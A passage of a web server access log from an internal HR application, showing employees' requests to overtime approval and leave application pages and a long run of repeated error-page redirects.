/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:17 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132703%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132703&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132703%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132703&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.144 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3608845566328672 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:08:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3608845566328672 HTTP/1.1" 200 8816 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:08:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:08:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.144 - - [03/Dec/2025:09:08:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3608845566328672 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3608845566328672" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:08:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3608845566328672 HTTP/1.1" 200 10989 192.168.11.144 - - [03/Dec/2025:09:08:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:08:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.144 - - [03/Dec/2025:09:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:08:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - 